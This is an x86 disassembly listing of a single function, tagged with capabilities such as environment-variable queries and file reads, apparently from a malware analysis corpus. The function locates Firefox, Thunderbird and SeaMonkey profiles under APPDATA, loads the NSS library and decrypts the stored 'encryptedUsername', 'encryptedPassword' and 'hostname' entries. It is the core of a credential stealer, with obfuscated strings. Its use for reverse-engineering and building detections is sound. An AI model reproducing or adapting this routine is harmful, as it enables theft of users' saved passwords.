Function at 0x40b5a1
Capabilities:
Query environment variable
Read file on windows

Disassembly:
push ebp
push edi
mov eax, 0x1bfc
push esi
push ebx
call fcn.0041f3f0
sub esp, eax
cmp dword [esp + 0x1c10], 2
mov dword [esp + 0x6c], 0
mov dword [esp + 0x70], 0
je 0x40b68e
cmp dword [esp + 0x1c10], 6
je 0x40b72e
cmp dword [esp + 0x1c10], 1
jne 0x40b7ea
lea eax, [esp + 0x134]
mov dword [esp], str.Mozilla_Firefox
mov dword [esp + 8], eax
lea eax, [esp + 0x90]
mov dword [esp + 4], eax
call fcn.0040b34d
test al, al
jne 0x40b618
xor eax, eax
jmp 0x40c18c
mov dword [esp], str.APPDATA
lea esi, [esp + 0xb4]
call sub.msvcrt.dll_getenv
mov dword [esp], str._6FWk4iiC_40d8Wf_s0W84id6.4R4
mov ebx, eax
call fcn.004081aa
mov dword [esp + 0xc], ebx
lea ebx, [esp + 0x1e4]
mov dword [esp + 8], eax
mov dword [esp + 4], 0x204
mov dword [esp], ebx
call fcn.004127a8
mov dword [esp + 8], pe_nt_image_headers32
mov dword [esp + 4], esi
mov dword [esp], ebx
call fcn.0040b016
test al, al
je 0x40c16e
mov dword [esp], str.APPDATA
call sub.msvcrt.dll_getenv
mov dword [esp], str._6FWk4iiC_40d8Wf_6
mov edi, eax
jmp 0x40b7c9
lea eax, [esp + 0x134]
mov dword [esp], str.Mozilla_Thunderbird
mov dword [esp + 8], eax
lea eax, [esp + 0x90]
mov dword [esp + 4], eax
call fcn.0040b34d
test al, al
je 0x40b611
mov dword [esp], str.APPDATA
lea esi, [esp + 0xb4]
call sub.msvcrt.dll_getenv
mov dword [esp], str._6qIQRSd0V40S_s0W84id6.4R4
mov ebx, eax
call fcn.004081aa
mov dword [esp + 0xc], ebx
lea ebx, [esp + 0x1e4]
mov dword [esp + 8], eax
mov dword [esp + 4], 0x204
mov dword [esp], ebx
call fcn.004127a8
mov dword [esp + 8], pe_nt_image_headers32
mov dword [esp + 4], esi
mov dword [esp], ebx
call fcn.0040b105
test al, al
je 0x40c16e
mov dword [esp], str.APPDATA
call sub.msvcrt.dll_getenv
mov dword [esp], str._6qIQRSd0V40S_6
mov edi, eax
jmp 0x40b7c9
lea eax, [esp + 0x134]
mov dword [esp], str.SeaMonkey
mov dword [esp + 8], eax
lea eax, [esp + 0x90]
mov dword [esp + 4], eax
call fcn.0040b34d
test al, al
je 0x40b611
mov dword [esp], str.APPDATA
lea esi, [esp + 0xb4]
call sub.msvcrt.dll_getenv
mov dword [esp], str._6FWk4iiCMdCFWRwdZ_s0W84id6.4R4
mov ebx, eax
call fcn.004081aa
mov dword [esp + 0xc], ebx
lea ebx, [esp + 0x1e4]
mov dword [esp + 8], eax
mov dword [esp + 4], 0x204
mov dword [esp], ebx
call fcn.004127a8
mov dword [esp + 8], pe_nt_image_headers32
mov dword [esp + 4], esi
mov dword [esp], ebx
call fcn.0040b016
test al, al
je 0x40c16e
mov dword [esp], str.APPDATA
call sub.msvcrt.dll_getenv
mov dword [esp], str._6FWk4iiCMdCFWRwdZ_6
mov edi, eax
call fcn.004081aa
mov dword [esp + 0x10], esi
mov dword [esp + 0xc], edi
mov dword [esp + 8], eax
mov dword [esp + 4], 0x204
mov dword [esp], ebx
call fcn.004127a8
mov dword [esp], str._664nRWR6.67i45d
lea ebx, [esp + 0x1e4]
call fcn.004081aa
mov dword [esp + 8], eax
lea eax, [esp + 0x3e8]
mov dword [esp + 0xc], ebx
mov dword [esp + 4], 0x204
mov dword [esp], eax
call fcn.004127a8
mov dword [esp], str._6iWn4R6.e6WR
call fcn.004081aa
mov dword [esp + 8], eax
lea eax, [esp + 0x5ec]
mov dword [esp + 0xc], ebx
mov dword [esp + 4], 0x204
mov dword [esp], eax
call fcn.004127a8
mov eax, dword [esp + 0xa8]
mov dword [esp + 4], str.NSS_Init
mov dword [esp], eax
call fcn.00407f8e
test eax, eax
mov dword [esp + 0x38], eax
je 0x40b611
mov dword [esp], str.9HGGpEd5XR5d0RCiHdZMiW5
call fcn.004081aa
mov dword [esp + 4], eax
mov eax, dword [esp + 0xa8]
mov dword [esp], eax
call fcn.00407f8e
test eax, eax
mov dword [esp + 0x3c], eax
je 0x40b611
mov dword [esp], str.9HGGpDQ5IdR54YC5d
call fcn.004081aa
mov dword [esp + 4], eax
mov eax, dword [esp + 0xa8]
mov dword [esp], eax
call fcn.00407f8e
test eax, eax
mov dword [esp + 0x40], eax
je 0x40b611
mov dword [esp], str.9mpcC6doOadYWSd
call fcn.004081aa
mov dword [esp + 4], eax
mov eax, dword [esp + 0xa8]
mov dword [esp], eax
call fcn.00407f8e
test eax, eax
mov dword [esp + 0x2c], eax
je 0x40b611
mov dword [esp], str.MjPXqjFpx80ddX5dl
call fcn.004081aa
mov dword [esp + 4], eax
mov eax, dword [esp + 0xa8]
mov dword [esp], eax
call fcn.00407f8e
test eax, eax
mov dword [esp + 0x44], eax
je 0x40b611
mov dword [esp], str.9HGGMarpadY0Zs5
call fcn.004081aa
mov dword [esp + 4], eax
mov eax, dword [esp + 0xa8]
mov dword [esp], eax
call fcn.00407f8e
test eax, eax
mov dword [esp + 0x30], eax
je 0x40b611
mov dword [esp], str.9HGGp_0ddMiW5
call fcn.004081aa
mov dword [esp + 4], eax
mov eax, dword [esp + 0xa8]
mov dword [esp], eax
call fcn.00407f8e
test eax, eax
mov dword [esp + 0x48], eax
je 0x40b611
mov dword [esp], str.LMMpMIQ5SWgR
call fcn.004081aa
mov dword [esp + 4], eax
mov eax, dword [esp + 0xa8]
mov dword [esp], eax
call fcn.00407f8e
test eax, eax
mov dword [esp + 0x4c], eax
je 0x40b611
mov dword [esp], str.67i45dNpWsdR
call fcn.004081aa
mov dword [esp + 4], eax
mov eax, dword [esp + 0xa8]
mov dword [esp], eax
call fcn.00407f8e
test eax, eax
mov esi, eax
je 0x40b611
mov dword [esp], str.67i45dNpYiW6d
call fcn.004081aa
mov dword [esp + 4], eax
mov eax, dword [esp + 0xa8]
mov dword [esp], eax
call fcn.00407f8e
test eax, eax
je 0x40b611
mov dword [esp], str.67i45dNps0dsC0dp2h
call fcn.004081aa
mov dword [esp + 4], eax
mov eax, dword [esp + 0xa8]
mov dword [esp], eax
call fcn.00407f8e
test eax, eax
mov ebx, eax
je 0x40b611
mov dword [esp], str.67i45dNp65ds
call fcn.004081aa
mov dword [esp + 4], eax
mov eax, dword [esp + 0xa8]
mov dword [esp], eax
call fcn.00407f8e
test eax, eax
mov dword [esp + 0x58], eax
je 0x40b611
mov dword [esp], str.67i45dNpYWiQlRp5df5
call fcn.004081aa
mov dword [esp + 4], eax
mov eax, dword [esp + 0xa8]
mov dword [esp], eax
call fcn.00407f8e
test eax, eax
mov dword [esp + 0x34], eax
je 0x40b611
lea edi, [esp + 0x3e8]
mov dword [esp], edi
call fcn.00406f1a
test al, al
je 0x40bdbf
lea eax, [esp + 0x60]
mov dword [esp], edi
mov dword [esp + 4], eax
call esi
test eax, eax
jne 0x40b611
mov dword [esp], str.6didY5___80Wl_lWkpiWn4R6
call fcn.004081aa
or ecx, 0xffffffff
mov edi, eax
xor eax, eax
repne scasb al, byte es:[edi]
mov dword [esp], str.6didY5___80Wl_lWkpiWn4R6
not ecx
lea edi, [ecx - 1]
call fcn.004081aa
lea edx, [esp + 0x68]
mov dword [esp + 4], eax
mov eax, dword [esp + 0x60]
mov dword [esp + 8], edi
mov dword [esp + 0x10], edx
lea edx, [esp + 0x64]
mov dword [esp], eax
mov dword [esp + 0xc], edx
call ebx
test eax, eax
jne 0x40bdbf
lea eax, [esp + 0x1e4]
mov dword [esp], eax
mov eax, dword [esp + 0x38]
call eax
test eax, eax
jne 0x40bdbf
mov eax, dword [esp + 0x3c]
call eax
test eax, eax
mov dword [esp + 0x50], eax
je 0x40bdb9
mov dword [esp], eax
mov dword [esp + 8], 0
mov dword [esp + 4], 1
mov eax, dword [esp + 0x40]
call eax
test eax, eax
je 0x40bb3a
mov eax, dword [esp + 0x50]
mov dword [esp], eax
mov eax, dword [esp + 0x48]
call eax
jmp 0x40bdb9
lea ebp, [esp + 0xbf0]
mov dword [esp + 0x54], 0
mov eax, dword [esp + 0x64]
mov dword [esp + 4], 1
mov dword [esp], eax
mov eax, dword [esp + 0x34]
call eax
test eax, eax
mov dword [esp + 0x5c], eax
je 0x40bd9e
mov eax, dword [esp + 0x64]
mov dword [esp + 4], 6
mov edi, ebp
mov dword [esp], eax
mov eax, dword [esp + 0x34]
call eax
mov dword [esp + 8], 0x400
mov dword [esp + 4], eax
mov dword [esp], ebp
call fcn.00412548
xor eax, eax
mov dword [esp + 0x88], 0
mov dword [esp + 0x8c], 0
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
lea eax, [esp + 0x13f0]
mov dword [esp], ebp
not ecx
dec ecx
mov dword [esp + 8], eax
mov eax, dword [esp + 0x2c]
mov dword [esp + 4], ecx
call eax
test eax, eax
je 0x40bd9e
lea eax, [esp + 0x13f0]
mov dword [esp], ebp
lea esi, [esp + 0x78]
mov dword [esp + 0x7c], eax
call fcn.00403f65
mov dword [esp + 0x80], eax
lea eax, [esp + 0x84]
mov dword [esp + 8], 0
mov dword [esp], esi
mov dword [esp + 4], eax
mov eax, dword [esp + 0x30]
call eax
test eax, eax
jne 0x40bd9e
cmp dword [esp + 0x80], 0
je 0x40bd9e
mov eax, dword [esp + 0x8c]
mov dword [esp], ebp
lea ebx, [esp + 0xff0]
mov edi, ebx
inc eax
mov dword [esp + 8], eax
mov eax, dword [esp + 0x88]
mov dword [esp + 4], eax
call fcn.00412548
mov eax, dword [esp + 0x64]
mov dword [esp + 4], 7
mov dword [esp], eax
mov eax, dword [esp + 0x34]
call eax
mov dword [esp + 8], 0x400
mov dword [esp + 4], eax
mov dword [esp], ebx
call fcn.00412548
xor eax, eax
mov dword [esp + 0x88], 0
mov dword [esp + 0x8c], 0
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
lea eax, [esp + 0x13f0]
mov dword [esp], ebx
not ecx
dec ecx
mov dword [esp + 8], eax
mov eax, dword [esp + 0x2c]
mov dword [esp + 4], ecx
call eax
lea eax, [esp + 0x13f0]
mov dword [esp], ebx
mov dword [esp + 0x7c], eax
call fcn.00403f65
mov dword [esp + 0x80], eax
lea eax, [esp + 0x84]
mov dword [esp + 8], 0
mov dword [esp], esi
mov dword [esp + 4], eax
mov eax, dword [esp + 0x30]
call eax
test eax, eax
jne 0x40bd9e
cmp dword [esp + 0x80], 0
je 0x40bd9e
mov eax, dword [esp + 0x8c]
cmp eax, 0x3ff
ja 0x40bd9e
inc eax
mov dword [esp], ebx
lea esi, [esp + 0x6c]
mov dword [esp + 8], eax
mov eax, dword [esp + 0x88]
mov dword [esp + 4], eax
call fcn.00412548
mov eax, dword [esp + 0x5c]
mov dword [esp + 0x14], ebx
mov dword [esp + 0x10], ebp
mov dword [esp + 4], str._c_s_a_s_a_s_b_b_b_b
mov dword [esp], esi
mov dword [esp + 0xc], eax
mov eax, dword [esp + 0x1c10]
mov dword [esp + 8], eax
call fcn.00412755
cmp eax, 0xffffffff
mov ebx, eax
je 0x40bd86
mov dword [esp + 0xc], eax
mov eax, dword [esp + 0x54]
mov dword [esp + 0x10], 1
mov dword [esp + 8], esi
mov dword [esp + 4], eax
lea eax, [esp + 0x70]
mov dword [esp], eax
call fcn.00412abf
add dword [esp + 0x54], ebx
mov dword [esp + 0x70], eax
lea eax, [esp + 0x84]
mov dword [esp + 4], 0
mov dword [esp], eax
mov eax, dword [esp + 0x44]
call eax
mov eax, dword [esp + 0x64]
mov dword [esp], eax
mov eax, dword [esp + 0x58]
call eax
cmp eax, 0x64
je 0x40bb49
jmp 0x40bb28
mov eax, dword [esp + 0x4c]
call eax
lea esi, [esp + 0x5ec]
mov dword [esp], esi
call fcn.00406f1a
test al, al
je 0x40c16e
mov dword [esp + 4], 0x4235fa
mov dword [esp], esi
call sub.msvcrt.dll_fopen
test eax, eax
mov ebx, eax
je 0x40c16e
mov dword [esp], esi
call fcn.004074c5
mov dword [esp], eax
mov esi, eax
call sub.msvcrt.dll_malloc
test eax, eax
mov dword [esp + 0x74], eax
jne 0x40be17
mov dword [esp], ebx
call sub.msvcrt.dll_fclose
jmp 0x40c16e
mov dword [esp + 0xc], ebx
mov dword [esp + 8], esi
mov dword [esp + 4], 1
mov dword [esp], eax
call sub.msvcrt.dll_fread
mov dword [esp], ebx
call sub.msvcrt.dll_fclose
lea eax, [esp + 0x1e4]
mov dword [esp], eax
mov eax, dword [esp + 0x38]
call eax
test eax, eax
jne 0x40c162
mov eax, dword [esp + 0x3c]
call eax
test eax, eax
mov dword [esp + 0x34], eax
je 0x40c15c
mov dword [esp], eax
mov dword [esp + 8], 0
mov dword [esp + 4], 1
mov eax, dword [esp + 0x40]
call eax
test eax, eax
jne 0x40bf9e
xor ebp, ebp
mov dword [esp + 0x38], 0
jmp 0x40bf41
lea eax, [esp + 0xbf0]
mov dword [esp + 0x10], 0x400
mov dword [esp + 8], str.encryptedUsername
mov dword [esp + 4], ebp
mov dword [esp + 0xc], eax
mov eax, dword [esp + 0x74]
mov dword [esp], eax
call fcn.0040b50a
test al, al
je 0x40bf9e
mov eax, dword [esp + 0x74]
lea esi, [esp + 0xff0]
mov dword [esp + 0x10], 0x400
mov dword [esp + 8], str.encryptedPassword
mov dword [esp + 4], ebp
mov dword [esp + 0xc], esi
mov dword [esp], eax
call fcn.0040b50a
test al, al
je 0x40bf9e
lea edi, [esp + 0xbf0]
xor eax, eax
mov dword [esp + 0x88], 0
mov dword [esp + 0x8c], 0
or ecx, 0xffffffff
lea ebx, [esp + 0x13f0]
repne scasb al, byte es:[edi]
lea eax, [esp + 0xbf0]
mov dword [esp + 8], ebx
not ecx
dec ecx
mov dword [esp], eax
mov eax, dword [esp + 0x2c]
mov dword [esp + 4], ecx
call eax
test eax, eax
jne 0x40bfb0
mov ebx, dword [esp + 0x74]
mov dword [esp], str.IW65RCld
call fcn.004081aa
lea edx, [ebp + 1]
mov dword [esp + 4], eax
mov dword [esp + 8], ebx
mov dword [esp], edx
call fcn.004125de
cmp eax, 0xffffffff
mov ebp, eax
je 0x40bf9e
lea eax, [esp + 0x7f0]
mov dword [esp + 0x10], 0x400
mov dword [esp + 8], str.hostname
mov dword [esp + 4], ebp
mov dword [esp + 0xc], eax
mov eax, dword [esp + 0x74]
mov dword [esp], eax
call fcn.0040b50a
test al, al
jne 0x40be91
mov eax, dword [esp + 0x34]
mov dword [esp], eax
mov eax, dword [esp + 0x48]
call eax
jmp 0x40c15c
lea eax, [esp + 0xbf0]
mov dword [esp + 0x7c], ebx
mov dword [esp], eax
call fcn.00403f65
mov dword [esp + 0x80], eax
lea eax, [esp + 0x84]
mov dword [esp + 8], 0
mov dword [esp + 4], eax
lea eax, [esp + 0x78]
mov dword [esp], eax
mov eax, dword [esp + 0x30]
call eax
test eax, eax
jne 0x40bf41
cmp dword [esp + 0x80], 0
je 0x40bf41
mov eax, dword [esp + 0x8c]
mov edi, esi
inc eax
mov dword [esp + 8], eax
mov eax, dword [esp + 0x88]
mov dword [esp + 4], eax
lea eax, [esp + 0xbf0]
mov dword [esp], eax
call fcn.00412548
xor eax, eax
mov dword [esp + 0x88], 0
mov dword [esp + 0x8c], 0
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov dword [esp + 8], ebx
mov dword [esp], esi
not ecx
mov eax, dword [esp + 0x2c]
dec ecx
mov dword [esp + 4], ecx
call eax
mov dword [esp], esi
mov dword [esp + 0x7c], ebx
call fcn.00403f65
mov dword [esp + 0x80], eax
lea eax, [esp + 0x84]
mov dword [esp + 8], 0
mov dword [esp + 4], eax
lea eax, [esp + 0x78]
mov dword [esp], eax
mov eax, dword [esp + 0x30]
call eax
test eax, eax
jne 0x40bf41
cmp dword [esp + 0x80], 0
je 0x40bf41
mov eax, dword [esp + 0x8c]
cmp eax, 0x3ff
ja 0x40bf41
inc eax
lea ebx, [esp + 0xff0]
lea esi, [esp + 0x6c]
mov dword [esp + 8], eax
mov eax, dword [esp + 0x88]
mov dword [esp], ebx
mov dword [esp + 4], eax
call fcn.00412548
lea eax, [esp + 0xbf0]
mov dword [esp + 0x14], ebx
mov dword [esp + 4], str._c_s_a_s_a_s_b_b_b_b
mov dword [esp], esi
mov dword [esp + 0x10], eax
lea eax, [esp + 0x7f0]
mov dword [esp + 0xc], eax
mov eax, dword [esp + 0x1c10]
mov dword [esp + 8], eax
call fcn.00412755
cmp eax, 0xffffffff
mov ebx, eax
je 0x40c13f
mov dword [esp + 0xc], eax
mov eax, dword [esp + 0x38]
mov dword [esp + 0x10], 1
mov dword [esp + 8], esi
mov dword [esp + 4], eax
lea eax, [esp + 0x70]
mov dword [esp], eax
call fcn.00412abf
add dword [esp + 0x38], ebx
mov dword [esp + 0x70], eax
lea eax, [esp + 0x84]
mov dword [esp + 4], 0
mov dword [esp], eax
mov eax, dword [esp + 0x44]
call eax
jmp 0x40bf41
mov eax, dword [esp + 0x4c]
call eax
lea eax, [esp + 0x74]
mov dword [esp], eax
call fcn.00407f59
lea eax, [esp + 0x134]
mov dword [esp + 4], eax
lea eax, [esp + 0x90]
mov dword [esp], eax
call fcn.0040b312
mov eax, dword [esp + 0x70]
add esp, 0x1bfc
pop ebx
pop esi
pop edi
pop ebp
ret